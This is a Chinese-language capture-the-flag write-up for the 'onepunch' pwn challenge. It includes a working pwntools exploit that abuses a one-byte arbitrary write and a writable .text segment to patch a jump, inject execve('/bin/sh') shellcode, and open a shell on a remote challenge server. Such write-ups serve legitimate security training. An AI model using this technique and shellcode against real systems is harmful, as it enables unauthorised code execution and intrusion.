inndy_onepunch
用IDA分析一下程序,任意地址寫一個字節。
想不到的是,text段可以修改,因此,我們可以直接修改text的指令,來達到多次利用。
#coding:utf8
#想不到text段竟然可以寫
from pwn import *
context(os='linux',arch='amd64')
#sh = process('./onepunch')
sh = remote('node3.buuoj.cn',29567)
text = 0x400767
def writeData(addr,data):
sh.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
#通過一字節讀寫,我們修改text裏的跳轉
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
#修改jnz指令爲jmp
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))
shellcode = asm('''mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
xor rsi,rsi
mov rdx,rdx
syscall
''')
shellcode_addr = 0x0000000000400769
i = 0
for x in shellcode:
data = u8(x)
writeData(shellcode_addr + i,data)
i = i + 1
#跳轉到shellcode
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))
sh.interactive()
由此,查閱資料知道了,修改text段可寫,可以利用工具objcopy --writable-text來實現。因此,有時實在沒辦法,我們可以嘗試一下text段是否可寫。